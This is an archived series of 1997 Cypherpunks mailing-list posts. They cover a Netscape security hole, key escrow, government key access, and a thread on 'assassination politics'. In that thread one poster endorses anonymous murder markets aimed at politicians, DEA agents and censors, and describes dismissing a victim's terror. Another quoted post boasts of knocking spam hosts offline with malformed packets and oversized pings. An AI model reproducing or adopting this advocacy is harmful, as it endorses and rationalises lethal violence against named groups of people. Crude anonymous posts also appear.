In-Reply-To: <199706150714.AAA23115@adnetsol.adnetsol.com>
Message-ID: <v03102803afc9c0a4fffd@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:15 AM -0700 6/15/97, Tom Weinstein wrote:
>Ross Wright wrote:
>>
>> On or About 13 Jun 97 at 18:35, Tom Weinstein wrote:
>>
>> > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
>>
>> Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
>> use 2.02.  You guys are gonna help us who refuse to upgrade, right.
>
>Sorry, but we don't have any plans to respin 2.x at this time.  If we
>get enough requests for it, it might be possible to change our mind,
>though.

I'm about to abandon 3.0 and go back to 2.x. Or look at Explorer. The
memory footprint went up dramatically (Macintosh version at least), so that
I can no longer have all my favorite apps open. If I want to check stock
quotes, I have to quit one of my other Internet apps.

The dancing Java ads are not worth it.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 00:13:56 +0800
To: Tom Weinstein <rah@shipwright.com>
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <v03020931afc8ee48fc8f@[139.167.130.246]>
Message-ID: <v03102804afc9c1c4438b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:26 AM -0700 6/15/97, Tom Weinstein wrote:

>Just to be clear, we didn't give the blackmailer any money.  As Mike
>Homer put it: "We don't bargain with terrorists."
>

Netscape wants money for one of their products. I won't give them money. "I
don't bargain with terrorists."


(What the Danes offered was a straight buiness deal, albeit made weirder
and more frantic by the constraints of time, publicity, and worldwide
attention. Still a business deal, though. When Collabra wanted X dollars to
be acquired by Netscape, was this also "terrorism"? The term "terrorist"
hardly applies in business deals.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 15 Jun 1997 22:30:27 +0800
To: cypherpunks@toad.com
Subject: Re: e$: Skins vs. Shirts
In-Reply-To: <1.5.4.32.19970615122126.008e4e64@pop.pipeline.com>
Message-ID: <v03020946afc9a74cfb1c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:21 am -0400 on 6/15/97, John Young wrote:


> ... Sounds a bit Kallstromish...
> Surely Homer hasn't been hanging with the CT-hypers.
>
> ...an inflation of
> terrorist-spin to whatever feeds nightsweats of monsters coming to
> Ballmer our babies -- of flesh, markets or surveilling features.
>
> .......slightly Dilberted with lonely-guy
> infowar & -love games of fantasies of what will never be. ...
>
> Recall Mitnick's find on The Well, Shimomura, the telcos and the feds -- lots
> of empty data and wannabe-prattle.
>
> In that case, the Feds and the victims conspired to script a film to make
>the
> nothingness seem valuable, ...
>
> Not that NSCP would sink to that kind of RSA Schwartau TLA insecurity.


Wow. I actually understood all that...

The scent of the cogs is unmistakable hereabouts.

;-).

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 15 Jun 1997 22:45:54 +0800
To: John Smith <jsmith58@hotmail.com>
Subject: Re: IBM sues critics?
In-Reply-To: <199706150054.RAA05736@f23.hotmail.com>
Message-ID: <Pine.LNX.3.91.970615121118.2171B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Can someone explain the difference between key recovery and key
> escrow?  The IBM white paper describes it at
> http://www.ibm.com/security/html/pp_global5.html in terms of
> giving a keys or a combination to your neighbors, but the
> analogy was hard to follow.

Key escrow is where your keys are held by one or more trusted and 
supposedly independent third parties, on reciept of a court order they 
would release the keys.
Key recovery is more like the clipper scheme where there was a LEAF (law 
enforcement access field) which allowed the LEA to decrypt communications.

But in the end it all comes down to GAK (government access to keys), same 
shit, different name. Forgive me if this explanation is a little hazy, I 
have a mighty hangover (still only 12:15 sunday morning here).

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 15 Jun 1997 21:57:40 +0800
To: Pilgrim <nfn04017@gator.naples.net>
Subject: Re: Democratic Assassination
In-Reply-To: <l03102800afc8769946ae@[204.210.206.39]>
Message-ID: <Pine.LNX.3.91.970615122113.2171C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> This is true. Just because AP exists, doesn't immediately imply that it can
> become a tool for censorship. It was, after all, intended to be used as a
> tool to get rid of 'bad' people.
> 
> We are very good at taking tools and using them for evil purposes...to kill
> and maim one another.

True, but I don`t believe in judging crime at a collective level, just as 
free will is an individual characteristic and not specifically of a 
group, so criminality is defined at an individual level.

I have to agree that if AP were to come about, and indeed when fully 
anonymous digital assasination markets do become a reality, innocent 
people will be killed. So? I further agree that a society without 
assasination markets is safer, more peaceful etc. So? Assasination 
markets will allow the untraceable killings of hundreds of evil people 
who cannot be removed easily in any other way.
Speaking entirely hypothetically: If assasination bots were implemented, 
and I ran one, I would choose to keep a list of poloticians, DEA cops, 
censors etc. and only allow contracts on them, of course, there is 
nothing to stop anyone else running a server that accepted bets on 
anyone. I would just choose not to allow my equipment to be used for 
hiring assasins to kill innocent people. 

> So there is something that greatly disturbs me when we merge the speed and
> efficiency of technology with something as horrific as death. Indeed it has
> already been done...(lemme digress for a little while)...I remember all of
> the press conferences that were held during the Gulf War, when the United
> States military was showing off its flashy high tech toys, which allowed
> our fighters to blow things up from a very safe distance. We saved a lot of
> "the good guy's" lives that way...our troops didn't encounter much blood at
> all. But perhaps war ought not to be so clean....perhaps war should be
> brutal and messy and bloody and costly...not because blood and guts and
> horror and terror are good things, but because war is, in and of itself, a
> horrific thing...and this technology blinds us to that fact....

I agree, making war clinical and distancing ourselves from the bloody 
reality on the other side is not a good thing (tm). But, I draw your 
attention to the fact that we cannot generalise this principle to 
assasination. Normally assasination is cold and clinical for the person 
hiring the assasin anyway, and secondly, those who will kill an innocent 
person are probably too fucked up to be affected by the sight of 
suffering or death.
Also, brutal and costly wars have not affected us in the past, take WWI, 
Brusilov led an offensive that resulted in massive loss of life for 
minimal gain of territory, the many attacks of Field Marshal Sir Douglas 
Haig (A well known British tactician who always succeeded in killing as 
many of his own men as possible) particularly the first day of the Somme, 
where the British suffered 20000 dead, and gained only about 7km in 5 
months of fighting. The total dead in WWI were around 6 million, with 
around 18 million wounded.
The result of this terrible and brutal war? Anyone without the benefit of 
hindsight would call it a deterrent, a war to end all wars. But no, of 
course then there is WWII to consider. Barely 20 years later another war, 
some estimes putting the total dead at around 45 million (more 
conservatively around 37 million), the majority of these deaths were 
civilian. 
You might then say, has WWII not acted as a deterrent, we shall see, WWII 
was costly in terms of public opinion to the government in Britain 
because of the high number of civilian deaths actually occuring in 
Britain through bombings, this may act as a deterrent for government to 
venture into war lightly.


> in an
> attempt to make war "clean" with technology, we have only blinded
> ourselves...and thus war becomes a little too easy for my own liking.

I do agree, and intuitively it seems that massive loss of life and 
breaking of eggs would seem to act as a deterrent, but I don`t think it 
is quite so straightforward as all that. 

> I think there are great similarities between high-tech war and AP. Both are
> very 'tidy' ways to kill people, at great distances from unseen locations,
> without having to deal with the negative reprocussions of the act. They
> both make killing a little too clean. They both make it easy for us to
> dehumanize our targets, so that what we're killing is not really another
> human being, but some object....some nuisance that must be destroyed.

True enough, I personally do see government officials and police etc. as 
merely a nuicance to be destroyed, but I agree that dehumaizing the 
victims of a killing is not a good thing in many circumstances.

> If I kill someone with a hammer, or a gun, there is a certain level of
> commitment that I have to make. I have to deal with the dehumanization. I
> have to deal risk being caught. **I** have to do it.

Hmm, but I would say that if you are going to kill an innocent person you 
are probably not of a disposition or of a level of moral development 
where the sight of their head smashed in would deeply affect you, except 
on a temporary "freaked out" level.

> Personally, I find it would find it hard to dehumanize someone when I put a
> gun to their head and read the look of terror in their face. I would find
> it hard to commit the act, knowing that there is a manifold number of ways
> that I could be caught. Furthermore, I know I could not deal with the
> responsibility of killing someone afterwards.

Depends who you are talking about, morality based on the fear of 
punishment is first level ethical development, I will ignore this and 
just deal with the other issues.
If I were to not care about being caught, and the person I was killing 
was clearly guilty of crime (ie. a DEA agent) the look of terror in their 
face might instinctively and on a reactionary level affect me, but I 
think I could get over that by simply concentrating on the task in hand 
(dehumanising again), the responsibility of killing someone after the 
fact is no greater than that of considering your actions before, if you 
have decided in good conscience that there is conclusive proof of their 
guilt, and you are acting in self defence (and let us assume that you 
have judged accurately and are not just seeing what you want to see) then 
you can, assuming you are logical, put the act down to self defence or to 
punishment of whatever your preferred reason of the week, however, I 
presume you are not entirely logical, nor am I, and I can only say that 
emotional jabs at your conscience after the fact would just be something 
to be ignored or reasoned away.

> But AP is a nice neat solution to this. It makes killing very tidy, and
> minimizes my own responsibility. I can use it to easily fool myself into
> thinking that I'm really not resposible for killing a human

Yes, I personally do not see it this way, I think I would feel just as 
great a moral duty to justify my actions in killing someone using AP as I 
would using a gun, but a lot of people might use it to get away from the 
reality of their actions.

> Killing people is horrific and should remain that way..lest killing becomes
> a little too easy...and once killing people becomes as easy as buying a
> newspaper, who knows people will do with it. AP is way too easy for my
> liking.

Again, one cannot judge the tool itself, it has no intrinsic moral value. 
The way it is used defines it`s overall worth, this is why I believe on 
the whole AP cannot really be judged, except to say it allows removal of 
heads of state which has to be a good thing.

> My point was not that anonymous digital assasination was not possible...but
> rather, the notion of such a mechanism being democratic is incorrect. If it
> were democratic, there would be some sort of referendum...some sort of vote
> being taken...and if enough people vote no, then it wouldn't take place.

This appeals to me even less than digital contract assasinations because 
it is the law of the mob, the democratic genocide of whole groups of 
people could occur under this system, hardly an anarchic notion.

> In my mind, the notion of this mechanism being democratic was the only
> ****REMOTELY**** redeeming characteristic about this whole thing...and my
> argument is that this system isn't even democratic. To make it work, one
> doesn't need enough people and enough consenting opinions, simply enough
> resources. While the two are sometimes related, they aren't always.

I don`t think so, I agree that making the system democratic would prevent 
completely frivolous killings like someone next door neighbour or a shop 
assistant that short changed someone, but it would also lead to genocide. 
Groups of people are always looking for scapegoats, and if, as you say 
above, DAP (democratic assasination polotics) could be used to dehumanise 
genocide it would be the new MK2 gas chamber.

> >You do live in such a society, if the government decides to fuck you over
> >and manages somehow to make a muder charge stick 12 randomly selected
> >people can decide whether you live or die. If you say something unpopular
> >you can be assasinated.
> 
> This is a nasty truth.....so do I want this power expanded?

I don`t see AP as a democratic system, see my objections to this above, 
I have nearly always been more in favour of a more direct TCM type 
contract assasinations market system (I often use the term AP generically 
to sum up all assasination systems because it is easier to type quickly) 
because although it allows frivolous killings it:

A. Discourages them by making the financial penalty reasonably high as 
opposed to a couple of dollars.

B. Prevents mass genocide through democratic means.

> Now, the chances of a man in black from Washington DC to knock me off are
> relatively small, compared to the chances of a couple of bigshots around
> town arranging my murder using AP. This goes back to the point about AP
> making killing a touch too easy.

Yes, I am not trying to justify the existance of an AP type system from a 
utilitarian point of view, although I think you can justify it from a 
negative utilitarian point of view by looking at the suffering ended by 
the removal of governments, merely to point out its good features and 
remind people that it is just a tool, true, a very powerful one, and this 
leads us back to the old "personal ownership of nuclear weapons" argument, 
which I won`t go into here.

> If the government has the power to easily assassinate me for being
> unpopular, this is a bad thing....but it doesn't lead me to conclude that
> more people should have this kind of power....because I fear that rather
> than this becoming a tool to fight oppression....it will simply become a
> tool to kill people we don't like...politicians or janitors.

I too have the same fears and concerns about assasination being 
democratised in a traditional Bell style (BTW, does anyone know if Jim 
is out yet, and what is occuring with his case?, I haven`t heard 
anything for a couple of weeks) AP system and this is why in this respect 
I favour TCM type anonymous assasination contracts.

> >This is a difficult point to even contemplate as having any basis in
> >reality. Do you know any police officer (lets make that more specific
> >and say DEA inspector) who is a victim? Do you know of any possibility,
> >no matter how remote, that someone delegated the task of beating
> >confessions out of suspects is a "victim" himself?
> 
> It's a long story, and I can't go into it much without probably angering
> many people on this listserv....but the roots of this idea begin in some
> fundamental beliefs about people that I, being a committed Christian, carry
> with me. If you care to get the full sermon, lemme know and I'll send you a
> personal email.

I won`t go ask for the full sermon as I think we agree on a number of 
points and it would be a pity to get into a flame war over this (and I 
can assure you that any discussion with me, as a devout atheist, over 
religiously derived beliefs would end in a flame war).


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dave@bureau42.ml.org>
Date: Mon, 16 Jun 1997 02:38:59 +0800
To: Tom Weinstein <tomw@netscape.com>
Subject: Re: Impact of Netscape kernel hole
In-Reply-To: <33A3A4AC.192E128A@netscape.com>
Message-ID: <Pine.LNX.3.96.970615133246.1608A-100000@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 15 Jun 1997, Tom Weinstein wrote:

> > > week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.
> > 
> > Saw this post to Cypherpunks.  I hate to sound less than savvy, but I
> > use 2.02.  You guys are gonna help us who refuse to upgrade, right.
> 
> Sorry, but we don't have any plans to respin 2.x at this time.  If we
> get enough requests for it, it might be possible to change our mind,
> though.

I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
bug exist this far back, or am I going to have to start using Cello,
or something equally obscure?

dave

- -- David E. Smith, P O Box 324, Cape Girardeau MO 63702
(573)334-0950  dave@[clas.net | linuxware.com | ml.org]
PLEASE ensure your mailer acknowledges my Reply-To: hdr
Keywords: CPSR EFF ACLU DS6724 Delphi SF bureau42 Wicca
HWG Dilbert crypto Millennium Linux YDKJ PGP single! ;)

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umKscvLrmcIxtrlKPGM0URMpcgDdGVyCZpQ/H0P525s1Vcp1/szvuLxdGIwn5+1O
5dE7E6/kWHGVTkaI+kDM3yxzJpWhGrNVzRXruUYcR2d3MPoaUK5FAnTeTjbGF35L
5k0fJEiDVkF3BkqKNzA68bOeMP7CKTPAwebSY7/IzjLoOGiHE3eKHKrY0E9C8fOZ
n65kWIhg5xuokTe01fUaQStIYuinbLoJHdAypEH59X/Kh3ZU9N493w==
=FMIk
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Mon, 16 Jun 1997 04:59:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spam Libs (Frauenfelder on HotWired)
Message-ID: <Pine.GUL.3.95.970615133937.11282A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

C Matthew Curtin <cmcurtin@research.megasoft.com> wrote:

> * Sometimes my mail relay seems to choke on spam, and sends back a
> packet with a MSG_OOB bit sent to the host that originated the
> spam. Gee, dunno how that happened. Sometimes if the host stays
> up after that, it's followed by an oversized ping. Shucks, that's
> too bad when that happens. Maybe one day I'll track down that, uh,
> bug and ... fix it.

Damn... this bug must spread like the Good Times Virus. Mine just started
showing one of these symptoms, too, but only when approached by certain
domains (it being impolite to hit people who've been framed).

Have you isolated any code fragments that might help a virus scanner detect
this problem? This must be stopped, and I think full disclosure might help.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6RU7pNcNyVVy0jxAQHC9wH/Wi0lty3BWv4NjDYbmoNL2KZrqEkr1LTq
uJBCTW5xwgSnZlZOy3ZEW1+qHTfC3rvTEXQhUjM1Fdk/4yZC5iuoQA==
=YPKa
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 02:37:49 +0800
To: cypherpunks@toad.com
Subject: Key Ass-crow
Message-ID: <199706151816.OAA05838@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> > Can someone explain the difference between key recovery and key
> > escrow? 

> Key escrow is where your keys are held by one or more trusted and
> supposedly independent third parties, on reciept of a court order they
> would release the keys.

  Kind of like trusting a friend not to bugger you while you are
drunk and passed out. (But he can't prevent the police from hauling
you in for public intoxication and locking you up with someone who
might do so.)

> But in the end it all comes down to GAK (government access to keys), same
> shit, different name. 

  This is much like having a Dominatrix who chains you to the toilet
and brings out a mixed bag of utensils and instruments which are about
to be used for purposes that are a far cry from what they were created
for, and to access areas that Nature never intended to be subjected to
large amounts of sunshine.

  Perhaps someone should come out with a GAK T-shirt which has a
citizen "assuming the position" while a GAK cop stands behind him
with a crowbar stuck halfway up the citizen's ass, and saying,
"If you don't have anything to hide, then you have nothing to
worry about."

AssMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 02:51:16 +0800
To: cypherpunks@toad.com
Subject: eDrugs / Re: e$: Skins vs. Shirts
Message-ID: <199706151830.OAA07797@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
> At 8:21 am -0400 on 6/15/97, John Young wrote:
> 
> > ... Sounds a bit Kallstromish...
> > Surely Homer hasn't been hanging with the CT-hypers.
> > ...an inflation of
> > terrorist-spin to whatever feeds nightsweats of monsters coming to
> > Ballmer our babies -- of flesh, markets or surveilling features.
> > .......slightly Dilberted with lonely-guy
> > infowar & -love games of fantasies of what will never be. ...
> > Not that NSCP would sink to that kind of RSA Schwartau TLA insecurity.
> 
> Wow. I actually understood all that...
> 
> The scent of the cogs is unmistakable hereabouts.

  Hetting and Young both pass on a variety of highly informative and
exceedingly normal, reality-based material for the most part. Then,
out of the blue, they post Taoist-Kerouac, acid-flashback missives
which indicate that the Orphan Zombies roaming the computer Nether-
world have not yet managed to steal their souls.
  Since John and Bob's psyche-meanderings often seem to occur within
the same time-frame I have concluded that they both have the same
drug connection.

  So...did you bring enough for everybody?

DrugMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 16 Jun 1997 05:53:43 +0800
To: cypherpunks@toad.com
Subject: The Cartoon Decency Act, from The Netly News
Message-ID: <Pine.GSO.3.95.970615143809.1004A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



***********

http://cgi.pathfinder.com/netly/opinion/0,1042,1055,00.html

The Netly News Network
June 13, 1997

The Cartoon Decency Act?
by Declan McCullagh (declan@well.com)

        We all know what threats confront our children today: War.
   Hunger. Poverty. Ignorance. But animated cartoon characters on the
   Net?

        Actually, the Center for Media Education and its allies ignored
   the others and just zeroed in on the looming menace of Net-toons
   yesterday during the Federal Trade Commission's interminable privacy
   hearings. CME's Shelley Pasnik warned, "Animated product
   spokescharacters are coming into our childrens' computers... Parents
   are deeply troubled by the intrusive nature of the online [world]
   coming into our homes." Hadn't she read Kurt Anderson's editorial in
   The New Yorker this week, that the onslaught of 'toons signals a
   cultural renaissance in the U.S.? Doh!

        The Center for Media's alarums sound familiar. Supporters of the
   notorious Communications Decency Act cried that "pornography is coming
   into our home computers" and used the same excuse of "protecting
   children" to justify passing the law.

[...]

        Next came Michael Brody from the American Academy of Child and
   Adolescent Psychiatry, who cranked up the rhetoric even more. "Ronald
   McDonald is so very busy in a cyberspace with no child rules. With
   entertainment and advertising totally merged, Ronald exploits children
   easily," Brody said. "Cholesterol is not the real public health menace
   on Ronald's web site, but the invasion and destruction of a child's
   fantasy life." Good thing he hadn't seen HotWired's Cocktail site.

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 03:04:38 +0800
To: cypherpunks@toad.com
Subject: Blackmail / Re: e$: Skins vs. Shirts
Message-ID: <199706151846.OAA09246@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 1:26 AM -0700 6/15/97, Tom Weinstein wrote:
> 
> >Just to be clear, we didn't give the blackmailer any money.  As Mike
> >Homer put it: "We don't bargain with terrorists."

> (What the Danes offered was a straight buiness deal, albeit made weirder
> and more frantic by the constraints of time, publicity, and worldwide
> attention. Still a business deal, though. When Collabra wanted X dollars to
> be acquired by Netscape, was this also "terrorism"? The term "terrorist"
> hardly applies in business deals.)

  As Tim almost points out, people who use their own time, resources
and money to examine your product and discover weaknesses in it which
can be corrected in order to make it a better product hardly qualify
as blackmailers (unless a company considers that their in-house QA
staff is "blackmailing" them to receive a salary).

  (Pay attention, Netscape--major CLUE coming up...)
  It is not the consumer or user's job to keep track of what the
company who produces the software deems to be "proper" use of the
product they have bought. Likewise, it is not the job of computer
analysts and researchers to search out the flaws in a profitable
software and give away their knowledge so that the producer of
the software can maintain or increase their profits.
  If the people who discovered the flaw had wanted they could have
chosen to sell their knowledge to Microsoft for probably a very
substantial sum. 
  Can you imagine the embarassing position Netscape would be in
if Bill Gates made a press announcement about the Netscape flaw
and informed the public that a "Netscape fix" was available at
microsoft.com?

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 16 Jun 1997 03:52:29 +0800
To: cypherpunks@toad.com
Subject: SnailMail Ver. 1.0 / Re: Impact of Netscape kernel hole
Message-ID: <199706151937.PAA11998@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



David E. Smith wrote:
> On Sun, 15 Jun 1997, Tom Weinstein wrote:
> > Sorry, but we don't have any plans to respin 2.x at this time.  If we
> > get enough requests for it, it might be possible to change our mind,
> > though.
> 
> I still have a copy of MCOM/Netscape Navigator 0.94 around... does the
> bug exist this far back, or am I going to have to start using Cello,
> or something equally obscure?

  SnailMail Version 1.0 will soon be coming out. The product includes
a pen, paper, envelopes and instructions on how to purchase stamps.
  While it does not offer perfect security, the chances are that
the only person who might snoop through it is your postman. Since
he is probably banging your spouse, he's practically a member of
the family, anyway.
  SnailMail Version 1.0 also includes letter-size envelopes so that
you can print out a copy of your Web page and mail it without bending
or folding it.

SnailMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 07:19:18 +0800
To: cypherpunks@toad.com
Subject: SnailMail Ver. 1.0--Content Recovery now available
In-Reply-To: <199706151937.PAA11998@dhp.com>
Message-ID: <v03102800afca2121c48f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:37 PM -0700 6/15/97, lucifer Anonymous Remailer wrote:

>  SnailMail Version 1.0 will soon be coming out. The product includes
>a pen, paper, envelopes and instructions on how to purchase stamps.
>  While it does not offer perfect security, the chances are that
>the only person who might snoop through it is your postman. Since
>he is probably banging your spouse, he's practically a member of
>the family, anyway.
>  SnailMail Version 1.0 also includes letter-size envelopes so that
>you can print out a copy of your Web page and mail it without bending
>or folding it.

A Content Recovery Version (TM) is available from Trusted Disinformation
Systems (TDS), of Fort Meade, Maryland.

"Content Recovery is being demanded by many companies," said TDS President
Walker Harper. "Companies are fearful of not knowing what their employees
are sending, so they want Content Recovery for all outgoing mail. And it
meets the LNLE criteria (legitimate needs of law enforcement)."

TDS has licensed the technology under the tradename "Postcards."


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 16 Jun 1997 07:23:58 +0800
To: cypherpunks@toad.com
Subject: Declan as a Budding Washington Insider
In-Reply-To: <1.5.4.32.19970615204748.006ecaac@pop.pipeline.com>
Message-ID: <v03102801afca23e96bf3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:36 PM -0700 6/15/97, Declan McCullagh wrote:

>Though I do learn a lot of things I can't write about directly. I had
>dinner last week with a senior White House official and an FTC
>commissioner and a bunch of other folks. The condition of the invite was
>not reporting on what was discussed. Yesterday I spent the afternoon with
>folks including a Supreme Court clerk and a Federal judge. Friday evening
>I went to a party with a bunch of Republican heavyweights where we talked
>about what the Senate leadership is doing with the crypto bills.
>

Maybe what John was saying is that you're being co-opted. Brought into the
inner circles, shown the secrets, wined and dined (and whined)...maybe
you'll even be invited to Fort Meade for a screening of the "If you only
knew what we knew" video.

When you have dinner with judges, cops, senators, narcs, and other such
insiders, and much of it is "deep background" (or whatever such briefings
are called), and you have to promise to only spin the story in certain
ways...well, the result is pretty obviously that you're just an outlet for
the agitprop machine.

I'm not saying you've sold out yet; I don't really know you, so I wouldn't
know how vulnerable you are. But you're sure showing all the signs of
becoming just another Washington Insider.

One way they buy people--very reminiscent of the methods used to recruit
spies--is to feed reporters with information they can't get anywhere else,
and swear them to secrecy. This ties them up in complicated webs of trust,
mistrust, and deceit, and makes the reporters more dependent on them for
future stories.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sun, 15 Jun 1997 18:49:02 +0800
Subject: Re: Netscape Update
In-Reply-To: <199706150718.DAA28831@dhp.com>
Message-ID: <Pine.LNX.3.93.970615163723.494B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 15 Jun 1997, lucifer Anonymous Remailer wrote:

[...]

>   Similarly, the government and corporations want systems designed to
> allow them access to all available information passing through the
> internet system and then cry "abuse" or "security bug" when individuals
> discover how to use the design to their advantage.

I don't beleave in this case that it was a intentional feature.  For one
thing if I was creating such a trapdoor in my program, I would make use of
some sort of public key system so that only I could access it.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 16 Jun 1997 05:24:09 +0800
To: t.griffiths@ic.ac.uk
Subject: Re: Democratic Assassination
In-Reply-To: <199706151420.PAA19195@cscmgb.cc.ic.ac.uk>
Message-ID: <Pine.LNX.3.91.970615163902.2415A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> > Speaking entirely hypothetically: If assasination bots were implemented, 
> > and I ran one, I would choose to keep a list of poloticians, DEA cops, 
> > censors etc. and only allow contracts on them, of course, there is 
> > nothing to stop anyone else running a server that accepted bets on 
> > anyone. I would just choose not to allow my equipment to be used for 
> > hiring assasins to kill innocent people. 
>  
>   But by using this system, aren't we removing the concept of what an
> 'innocent' person is anyway? A person 'deserves' to die when enough people
> or money dictates that they should. 

I believe in this sense a DAP system would be a bad thing, but anonymous 
digital contracts in the more direct sense (ie. just a normal 
assasination contract as agreed today in meatspace, but using digital 
cash and other systems to make payments untraceable) are a better option 
as they remove this democratic side to the killings (although the 
democratic method prevents frivolous killings).
I am not at all saying that a person "deserves" to die when enough people 
say they should, but merely describing the situation. It is currently the 
case that when someone becomes A. unpopular enough in public opinion, or 
B. unpopular with someone with a lot of money, they stand a chance of 
being killed for this.

> Effectively you're censoring votes
> for the assasination of a person who you don't feel deserves it - no matter
> how many people donate money to that cause.
> This destroys the whole 'democratic' idea of what this ideas about.

Whoa there! An assasination bot and the hardware it ran on would be 
private property, I can choose to censor whatever the hell I want on 
private property. I personally would not run an AP type bot that 
